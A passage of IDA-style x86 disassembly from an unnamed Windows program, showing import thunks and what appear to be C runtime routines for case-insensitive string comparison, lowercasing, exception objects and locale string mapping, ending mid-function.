jmp ds:dword_4F54A0
; ---------------------------------------------------------------------------
jmp ds:dword_4F54A4
; ---------------------------------------------------------------------------
jmp ds:dword_4F54A8
; ---------------------------------------------------------------------------
jmp ds:dword_4F54AC
; ---------------------------------------------------------------------------
jmp ds:dword_4F54B0
; ---------------------------------------------------------------------------
jmp ds:dword_4F54B4
; ---------------------------------------------------------------------------
jmp ds:dword_4F54B8
; ---------------------------------------------------------------------------
jmp ds:dword_4F54BC
; ---------------------------------------------------------------------------
jmp ds:dword_4F54C0
; ---------------------------------------------------------------------------
jmp ds:dword_4F54C4
; ---------------------------------------------------------------------------
jmp ds:dword_4F54C8
; ---------------------------------------------------------------------------
jmp ds:dword_4F54CC
; ---------------------------------------------------------------------------
jmp ds:dword_4F54D0
; ---------------------------------------------------------------------------
jmp ds:dword_4F54D4
; ---------------------------------------------------------------------------
jmp ds:dword_4F54D8
; ---------------------------------------------------------------------------
jmp ds:dword_4F54DC
; ---------------------------------------------------------------------------
jmp ds:dword_4F54E0
; ---------------------------------------------------------------------------
jmp ds:dword_4F54E4
; ---------------------------------------------------------------------------
jmp ds:dword_4F54E8
; ---------------------------------------------------------------------------
jmp ds:dword_4F54EC
; ---------------------------------------------------------------------------
jmp ds:dword_4F5334
; ---------------------------------------------------------------------------
jmp ds:dword_4F5330
; ---------------------------------------------------------------------------
jmp ds:dword_4F532C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5328
; ---------------------------------------------------------------------------
jmp ds:dword_4F5324
; ---------------------------------------------------------------------------
jmp ds:dword_4F5320
; ---------------------------------------------------------------------------
jmp ds:dword_4F531C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5318
; ---------------------------------------------------------------------------
jmp ds:dword_4F5314
; ---------------------------------------------------------------------------
jmp ds:dword_4F5310
; ---------------------------------------------------------------------------
jmp ds:dword_4F530C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5308
; ---------------------------------------------------------------------------
jmp ds:dword_4F5304
; ---------------------------------------------------------------------------
jmp ds:off_4F5300
; ---------------------------------------------------------------------------
jmp ds:dword_4F52FC
; ---------------------------------------------------------------------------
jmp ds:dword_4F52F8
; ---------------------------------------------------------------------------
jmp ds:dword_4F52F4
; ---------------------------------------------------------------------------
jmp ds:dword_4F52F0
; ---------------------------------------------------------------------------
jmp ds:dword_4F52EC
; ---------------------------------------------------------------------------
jmp ds:dword_4F52E8
; ---------------------------------------------------------------------------
jmp ds:dword_4F52E4
; ---------------------------------------------------------------------------
jmp ds:dword_4F52E0
; ---------------------------------------------------------------------------
jmp ds:dword_4F52DC
; ---------------------------------------------------------------------------
jmp ds:dword_4F52D8
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43ACF0 proc near ; CODE XREF: sub_417BC7+E2p
; sub_417BC7+F9p ...
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
cmp ds:dword_4F33F8, 0
jnz loc_43ADBA
loc_43AD03: ; CODE XREF: sub_43ACF0+BFj
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax]
cmp ecx, 5Ah
jg short loc_43AD2D
mov edx, [ebp+arg_0]
xor eax, eax
mov ax, [edx]
cmp eax, 41h
jl short loc_43AD2D
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx]
add edx, 20h
mov [ebp+var_10], edx
jmp short loc_43AD38
; ---------------------------------------------------------------------------
loc_43AD2D: ; CODE XREF: sub_43ACF0+1Ej
; sub_43ACF0+2Bj
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax]
mov [ebp+var_10], ecx
loc_43AD38: ; CODE XREF: sub_43ACF0+3Bj
mov dx, word ptr [ebp+var_10]
mov word ptr [ebp+var_4], dx
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cx, [eax]
cmp ecx, 5Ah
jg short loc_43AD6A
mov edx, [ebp+arg_4]
xor eax, eax
mov ax, [edx]
cmp eax, 41h
jl short loc_43AD6A
mov ecx, [ebp+arg_4]
xor edx, edx
mov dx, [ecx]
add edx, 20h
mov [ebp+var_14], edx
jmp short loc_43AD75
; ---------------------------------------------------------------------------
loc_43AD6A: ; CODE XREF: sub_43ACF0+5Bj
; sub_43ACF0+68j
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cx, [eax]
mov [ebp+var_14], ecx
loc_43AD75: ; CODE XREF: sub_43ACF0+78j
mov dx, word ptr [ebp+var_14]
mov word ptr [ebp+var_C], dx
mov eax, [ebp+arg_0]
add eax, 2
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_4]
add ecx, 2
mov [ebp+arg_4], ecx
mov edx, [ebp+var_4]
and edx, 0FFFFh
test edx, edx
jz short loc_43ADB5
mov eax, [ebp+var_4]
and eax, 0FFFFh
mov ecx, [ebp+var_C]
and ecx, 0FFFFh
cmp eax, ecx
jz loc_43AD03
loc_43ADB5: ; CODE XREF: sub_43ACF0+AAj
jmp loc_43AE7A
; ---------------------------------------------------------------------------
loc_43ADBA: ; CODE XREF: sub_43ACF0+Dj
push offset dword_4F37C8
call ds:dword_4F5488 ; InterlockedIncrement
cmp ds:dword_4F37C4, 0
jz short loc_43ADEC
push offset dword_4F37C8
call ds:dword_4F5484 ; InterlockedDecrement
push 13h
call sub_423280
add esp, 4
mov [ebp+var_8], 1
jmp short loc_43ADF3
; ---------------------------------------------------------------------------
loc_43ADEC: ; CODE XREF: sub_43ACF0+DCj
mov [ebp+var_8], 0
loc_43ADF3: ; CODE XREF: sub_43ACF0+FAj
; sub_43ACF0+16Bj
mov edx, [ebp+arg_0]
mov ax, [edx]
mov [ebp+var_16], ax
mov cx, [ebp+var_16]
push ecx
mov edx, [ebp+arg_0]
add edx, 2
mov [ebp+arg_0], edx
call sub_43B360
add esp, 4
mov word ptr [ebp+var_4], ax
mov eax, [ebp+arg_4]
mov cx, [eax]
mov [ebp+var_18], cx
mov dx, [ebp+var_18]
push edx
mov eax, [ebp+arg_4]
add eax, 2
mov [ebp+arg_4], eax
call sub_43B360
add esp, 4
mov word ptr [ebp+var_C], ax
mov ecx, [ebp+var_4]
and ecx, 0FFFFh
test ecx, ecx
jz short loc_43AE5D
mov edx, [ebp+var_4]
and edx, 0FFFFh
mov eax, [ebp+var_C]
and eax, 0FFFFh
cmp edx, eax
jz short loc_43ADF3
loc_43AE5D: ; CODE XREF: sub_43ACF0+156j
cmp [ebp+var_8], 0
jz short loc_43AE6F
push 13h
call sub_423320
add esp, 4
jmp short loc_43AE7A
; ---------------------------------------------------------------------------
loc_43AE6F: ; CODE XREF: sub_43ACF0+171j
push offset dword_4F37C8
call ds:dword_4F5484 ; InterlockedDecrement
loc_43AE7A: ; CODE XREF: sub_43ACF0:loc_43ADB5j
; sub_43ACF0+17Dj
mov eax, [ebp+var_4]
and eax, 0FFFFh
mov ecx, [ebp+var_C]
and ecx, 0FFFFh
sub eax, ecx
mov esp, ebp
pop ebp
retn
sub_43ACF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43AEA0 proc near ; CODE XREF: sub_4189CD+21p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
jnz short loc_43AEAE
xor eax, eax
jmp short loc_43AEE3
; ---------------------------------------------------------------------------
loc_43AEAE: ; CODE XREF: sub_43AEA0+8j
mov eax, [ebp+arg_0]
push eax
call sub_41BC70
add esp, 4
add eax, 1
push eax
call sub_41BE40
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_43AEE1
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_4]
push edx
call sub_41F620
add esp, 8
jmp short loc_43AEE3
; ---------------------------------------------------------------------------
loc_43AEE1: ; CODE XREF: sub_43AEA0+2Dj
xor eax, eax
loc_43AEE3: ; CODE XREF: sub_43AEA0+Cj
; sub_43AEA0+3Fj
mov esp, ebp
pop ebp
retn
sub_43AEA0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
mov dword ptr [eax], offset off_43E15C
mov ecx, [ebp-4]
mov dword ptr [ecx+4], 0
mov edx, [ebp-4]
mov dword ptr [edx+8], 0
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43AF20 proc near ; DATA XREF: _1:off_43E15Co
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_43B080
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_43AF45
mov ecx, [ebp+var_4]
push ecx
call sub_420B80
add esp, 4
loc_43AF45: ; CODE XREF: sub_43AF20+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_43AF20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43AF50 proc near ; CODE XREF: sub_43A640+2Cp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
mov eax, [ebp+var_8]
mov dword ptr [eax], offset off_43E15C
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push edx
call sub_41BC70
add esp, 4
add eax, 1
push eax
call sub_420C30
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
mov [eax+4], ecx
mov edx, [ebp+var_8]
cmp dword ptr [edx+4], 0
jz short loc_43AFA6
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ecx
mov edx, [ebp+var_8]
mov eax, [edx+4]
push eax
call sub_41F620
add esp, 8
loc_43AFA6: ; CODE XREF: sub_43AF50+3Fj
mov ecx, [ebp+var_8]
mov dword ptr [ecx+8], 1
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn 4
sub_43AF50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43AFC0 proc near ; CODE XREF: sub_43A4C0+23p
; _0:0043B06Ep
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
mov eax, [ebp+var_8]
mov dword ptr [eax], offset off_43E15C
mov ecx, [ebp+var_8]
mov edx, [ebp+arg_0]
mov eax, [edx+8]
mov [ecx+8], eax
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+8], 0
jz short loc_43B02F
mov edx, [ebp+arg_0]
mov eax, [edx+4]
push eax
call sub_41BC70
add esp, 4
add eax, 1
push eax
call sub_420C30
add esp, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
mov edx, [ebp+var_4]
mov [ecx+4], edx
mov eax, [ebp+var_8]
cmp dword ptr [eax+4], 0
jz short loc_43B02D
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
push edx
mov eax, [ebp+var_8]
mov ecx, [eax+4]
push ecx
call sub_41F620
add esp, 8
loc_43B02D: ; CODE XREF: sub_43AFC0+55j
jmp short loc_43B03B
; ---------------------------------------------------------------------------
loc_43B02F: ; CODE XREF: sub_43AFC0+25j
mov edx, [ebp+var_8]
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
mov [edx+4], ecx
loc_43B03B: ; CODE XREF: sub_43AFC0:loc_43B02Dj
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn 4
sub_43AFC0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
cmp eax, [ebp+8]
jz short loc_43B073
mov ecx, [ebp-4]
call sub_43B080
mov ecx, [ebp+8]
push ecx
mov ecx, [ebp-4]
call sub_43AFC0
loc_43B073: ; CODE XREF: _0:0043B05Dj
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B080 proc near ; CODE XREF: sub_43A580+41p
; sub_43AF20+Ap ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
mov eax, [ebp+var_8]
mov dword ptr [eax], offset off_43E15C
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+8], 0
jz short loc_43B0B0
mov edx, [ebp+var_8]
mov eax, [edx+4]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
push ecx
call sub_420B80
add esp, 4
loc_43B0B0: ; CODE XREF: sub_43B080+19j
mov esp, ebp
pop ebp
retn
sub_43B080 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B0C0 proc near ; DATA XREF: _1:0043E160o
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
cmp dword ptr [eax+4], 0
jz short loc_43B0D8
mov ecx, [ebp+var_4]
mov eax, [ecx+4]
jmp short loc_43B0DD
; ---------------------------------------------------------------------------
loc_43B0D8: ; CODE XREF: sub_43B0C0+Ej
mov eax, offset aUnknownExcepti ; "Unknown exception"
loc_43B0DD: ; CODE XREF: sub_43B0C0+16j
mov esp, ebp
pop ebp
retn
sub_43B0C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B0F0 proc near ; CODE XREF: sub_43B130+Ap
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax], offset off_43E17C
push 1Bh
call sub_423280
add esp, 4
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+4], 0
jz short loc_43B122
mov edx, [ebp+var_4]
mov eax, [edx+4]
push eax
call sub_423CD0
add esp, 4
loc_43B122: ; CODE XREF: sub_43B0F0+21j
push 1Bh
call sub_423320
add esp, 4
mov esp, ebp
pop ebp
retn
sub_43B0F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B130 proc near ; DATA XREF: _1:off_43E17Co
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_43B0F0
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_43B155
mov ecx, [ebp+var_4]
push ecx
call sub_420B80
add esp, 4
loc_43B155: ; CODE XREF: sub_43B130+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_43B130 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
add eax, 9
push eax
mov ecx, [ebp+8]
add ecx, 9
push ecx
call sub_41F7E0
add esp, 8
neg eax
sbb eax, eax
inc eax
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
add eax, 9
push eax
mov ecx, [ebp+8]
add ecx, 9
push ecx
call sub_41F7E0
add esp, 8
neg eax
sbb eax, eax
neg eax
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
add eax, 9
push eax
mov ecx, [ebp+8]
add ecx, 9
push ecx
call sub_41F7E0
add esp, 8
xor edx, edx
test eax, eax
setnle dl
mov eax, edx
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
add eax, 8
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
mov dword ptr [eax], offset off_43E17C
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B240 proc near ; CODE XREF: sub_43A460+48p
; sub_43A550+1Ep ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push esi
push edi
mov ecx, 8
mov esi, offset dword_43E180
lea edi, [ebp+var_20]
rep movsd
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_4]
mov [ebp+var_4], ecx
lea edx, [ebp+var_C]
push edx
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+var_1C]
push ecx
mov edx, [ebp+var_20]
push edx
call ds:dword_4F54EC ; RaiseException
pop edi
pop esi
mov esp, ebp
pop ebp
retn 8
sub_43B240 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+8]
and eax, 0FFFFh
cmp eax, 0FFFFh
jnz short loc_43B2AC
mov ax, [ebp+8]
jmp loc_43B351
; ---------------------------------------------------------------------------
loc_43B2AC: ; CODE XREF: _0:0043B2A1j
cmp ds:dword_4F33F8, 0
jnz short loc_43B2E6
mov ecx, [ebp+8]
and ecx, 0FFFFh
cmp ecx, 41h
jl short loc_43B2E0
mov edx, [ebp+8]
and edx, 0FFFFh
cmp edx, 5Ah
jg short loc_43B2E0
mov eax, [ebp+8]
and eax, 0FFFFh
add eax, 20h
mov [ebp+8], ax
loc_43B2E0: ; CODE XREF: _0:0043B2C1j _0:0043B2CFj
mov ax, [ebp+8]
jmp short loc_43B351
; ---------------------------------------------------------------------------
loc_43B2E6: ; CODE XREF: _0:0043B2B3j
push offset dword_4F37C8
call ds:dword_4F5488 ; InterlockedIncrement
cmp ds:dword_4F37C4, 0
jz short loc_43B318
push offset dword_4F37C8
call ds:dword_4F5484 ; InterlockedDecrement
push 13h
call sub_423280
add esp, 4
mov dword ptr [ebp-4], 1
jmp short loc_43B31F
; ---------------------------------------------------------------------------
loc_43B318: ; CODE XREF: _0:0043B2F8j
mov dword ptr [ebp-4], 0
loc_43B31F: ; CODE XREF: _0:0043B316j
mov cx, [ebp+8]
push ecx
call sub_43B360
add esp, 4
mov [ebp+8], ax
cmp dword ptr [ebp-4], 0
jz short loc_43B342
push 13h
call sub_423320
add esp, 4
jmp short loc_43B34D
; ---------------------------------------------------------------------------
loc_43B342: ; CODE XREF: _0:0043B334j
push offset dword_4F37C8
call ds:dword_4F5484 ; InterlockedDecrement
loc_43B34D: ; CODE XREF: _0:0043B340j
mov ax, [ebp+8]
loc_43B351: ; CODE XREF: _0:0043B2A7j _0:0043B2E4j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B360 proc near ; CODE XREF: sub_43ACF0+11Bp
; sub_43ACF0+13Fp ...
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
and eax, 0FFFFh
cmp eax, 0FFFFh
jnz short loc_43B37C
mov ax, word ptr [ebp+arg_0]
jmp loc_43B410
; ---------------------------------------------------------------------------
loc_43B37C: ; CODE XREF: sub_43B360+11j
cmp ds:dword_4F33F8, 0
jnz short loc_43B3B6
mov ecx, [ebp+arg_0]
and ecx, 0FFFFh
cmp ecx, 41h
jl short loc_43B3B0
mov edx, [ebp+arg_0]
and edx, 0FFFFh
cmp edx, 5Ah
jg short loc_43B3B0
mov eax, [ebp+arg_0]
and eax, 0FFFFh
add eax, 20h
mov word ptr [ebp+arg_0], ax
loc_43B3B0: ; CODE XREF: sub_43B360+31j
; sub_43B360+3Fj
mov ax, word ptr [ebp+arg_0]
jmp short loc_43B410
; ---------------------------------------------------------------------------
loc_43B3B6: ; CODE XREF: sub_43B360+23j
mov ecx, [ebp+arg_0]
and ecx, 0FFFFh
cmp ecx, 100h
jge short loc_43B3E0
push 1
mov dx, word ptr [ebp+arg_0]
push edx
call sub_43B770
add esp, 8
test eax, eax
jnz short loc_43B3E0
mov ax, word ptr [ebp+arg_0]
jmp short loc_43B410
; ---------------------------------------------------------------------------
loc_43B3E0: ; CODE XREF: sub_43B360+65j
; sub_43B360+78j
push 0
push 1
lea eax, [ebp+var_4]
push eax
push 1
lea ecx, [ebp+arg_0]
push ecx
push 100h
mov edx, ds:dword_4F33F8
push edx
call sub_43B420
add esp, 1Ch
test eax, eax
jnz short loc_43B40C
mov ax, word ptr [ebp+arg_0]
jmp short loc_43B410
; ---------------------------------------------------------------------------
loc_43B40C: ; CODE XREF: sub_43B360+A4j
mov ax, [ebp+var_4]
loc_43B410: ; CODE XREF: sub_43B360+17j
; sub_43B360+54j ...
mov esp, ebp
pop ebp
retn
sub_43B360 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B420 proc near ; CODE XREF: sub_43B360+9Ap
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43E1A0
push offset sub_423364
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFD8h
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp ds:dword_4F3698, 0
jnz short loc_43B4A6
push 0
push 0
push 1
push offset dword_43D410
push 100h
push 0
call ds:dword_4F5330 ; LCMapStringW
test eax, eax
jz short loc_43B477
mov ds:dword_4F3698, 1
jmp short loc_43B4A6
; ---------------------------------------------------------------------------
loc_43B477: ; CODE XREF: sub_43B420+49j
push 0
push 0
push 1
push offset dword_43D40C
push 100h
push 0
call ds:dword_4F5334 ; LCMapStringA
test eax, eax
jz short loc_43B49F
mov ds:dword_4F3698, 2
jmp short loc_43B4A6
; ---------------------------------------------------------------------------
loc_43B49F: ; CODE XREF: sub_43B420+71j
xor eax, eax
jmp loc_43B6F3
; ---------------------------------------------------------------------------
loc_43B4A6: ; CODE XREF: sub_43B420+2Dj
; sub_43B420+55j ...
cmp [ebp+arg_C], 0
jle short loc_43B4BF
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
call sub_43B710
add esp, 8
mov [ebp+arg_C], eax
loc_43B4BF: ; CODE XREF: sub_43B420+8Aj
cmp ds:dword_4F3698, 1
jnz short loc_43B4EB
mov edx, [ebp+arg_14]
push edx
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call ds:dword_4F5330 ; LCMapStringW
jmp loc_43B6F3
; ---------------------------------------------------------------------------
loc_43B4EB: ; CODE XREF: sub_43B420+A6j
cmp ds:dword_4F3698, 2
jnz loc_43B6F1
cmp [ebp+arg_18], 0
jnz short loc_43B507
mov edx, ds:dword_4F3408
mov [ebp+arg_18], edx
loc_43B507: ; CODE XREF: sub_43B420+DCj
push 0
push 0
push 0
push 0
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 220h
mov edx, [ebp+arg_18]
push edx
call ds:dword_4F5450 ; WideCharToMultiByte
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jnz short loc_43B536
xor eax, eax
jmp loc_43B6F3
; ---------------------------------------------------------------------------
loc_43B536: ; CODE XREF: sub_43B420+10Dj
mov [ebp+var_4], 0
mov eax, [ebp+var_20]
add eax, 3
and al, 0FCh
call sub_41EF80
mov [ebp+var_30], esp
mov [ebp+var_18], esp
mov eax, [ebp+var_30]
mov [ebp+var_1C], eax
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_43B576
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_1C], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_43B576: ; CODE XREF: sub_43B420+13Dj
cmp [ebp+var_1C], 0
jnz short loc_43B583
xor eax, eax
jmp loc_43B6F3
; ---------------------------------------------------------------------------
loc_43B583: ; CODE XREF: sub_43B420+15Aj
push 0
push 0
mov ecx, [ebp+var_20]
push ecx
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 220h
mov edx, [ebp+arg_18]
push edx
call ds:dword_4F5450 ; WideCharToMultiByte
test eax, eax
jnz short loc_43B5B1
xor eax, eax
jmp loc_43B6F3
; ---------------------------------------------------------------------------
loc_43B5B1: ; CODE XREF: sub_43B420+188j
push 0
push 0
mov eax, [ebp+var_20]
push eax
mov ecx, [ebp+var_1C]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call ds:dword_4F5334 ; LCMapStringA
mov [ebp+var_2C], eax
cmp [ebp+var_2C], 0
jnz short loc_43B5DB
xor eax, eax
jmp loc_43B6F3
; ---------------------------------------------------------------------------
loc_43B5DB: ; CODE XREF: sub_43B420+1B2j
mov [ebp+var_4], 1
mov eax, [ebp+var_2C]
add eax, 3
and al, 0FCh
call sub_41EF80
mov [ebp+var_34], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_34]
mov [ebp+var_24], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_43B61B
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_24], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_43B61B: ; CODE XREF: sub_43B420+1E2j
cmp [ebp+var_24], 0
jnz short loc_43B628
xor eax, eax
jmp loc_43B6F3
; ---------------------------------------------------------------------------
loc_43B628: ; CODE XREF: sub_43B420+1FFj
mov edx, [ebp+var_2C]
push edx
mov eax, [ebp+var_24]
push eax
mov ecx, [ebp+var_20]
push ecx
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call ds:dword_4F5334 ; LCMapStringA
test eax, eax
jnz short loc_43B651
xor eax, eax
jmp loc_43B6F3
; ---------------------------------------------------------------------------
loc_43B651: ; CODE XREF: sub_43B420+228j
mov edx, [ebp+arg_4]
and edx, 400h
test edx, edx
jz short loc_43B696
mov eax, [ebp+var_2C]
mov [ebp+var_28], eax
cmp [ebp+arg_14], 0
jz short loc_43B694
mov ecx, [ebp+arg_14]
cmp ecx, [ebp+var_2C]
jge short loc_43B67A
mov edx, [ebp+arg_14]
mov [ebp+var_38], edx
jmp short loc_43B680
; ---------------------------------------------------------------------------
loc_43B67A: ; CODE XREF: sub_43B420+250j
mov eax, [ebp+var_2C]
mov [ebp+var_38], eax
loc_43B680: ; CODE XREF: sub_43B420+258j
mov ecx, [ebp+var_38]
push ecx
mov edx, [ebp+var_24]
push edx
mov eax, [ebp+arg_10]
push eax
call sub_41E510
add esp, 0Ch
loc_43B694: ; CODE XREF: sub_43B420+248j
jmp short loc_43B6EC
; ---------------------------------------------------------------------------
loc_43B696: ; CODE XREF: sub_43B420+23Cj
cmp [ebp+arg_14], 0
jnz short loc_43B6C3
push 0
push 0
mov ecx, [ebp+var_2C]
push ecx
mov edx, [ebp+var_24]
push edx
push 1
mov eax, [ebp+arg_18]
push eax
call ds:dword_4F5454 ; MultiByteToWideChar
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jnz short loc_43B6C1
xor eax, eax
jmp short loc_43B6F3
; ---------------------------------------------------------------------------
loc_43B6C1: ; CODE XREF: sub_43B420+29Bj
jmp short loc_43B6EC
; ---------------------------------------------------------------------------
loc_43B6C3: ; CODE XREF: sub_43B420+27Aj
mov ecx, [ebp+arg_14]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+var_2C]
push eax
mov ecx, [ebp+var_24]
push ecx
push 1
mov edx, [ebp+arg_18]
push edx
call ds:dword_4F5454 ; MultiByteToWideChar
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jnz short loc_43B6EC
xor eax, eax
jmp short loc_43B6F3
; ---------------------------------------------------------------------------
loc_43B6EC: ; CODE XREF: sub_43B420:loc_43B694j
; sub_43B420:loc_43B6C1j ...
mov eax, [ebp+var_28]
jmp short loc_43B6F3
; ---------------------------------------------------------------------------
loc_43B6F1: ; CODE XREF: sub_43B420+D2j
xor eax, eax
loc_43B6F3: ; CODE XREF: sub_43B420+81j
; sub_43B420+C6j ...
lea esp, [ebp-44h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
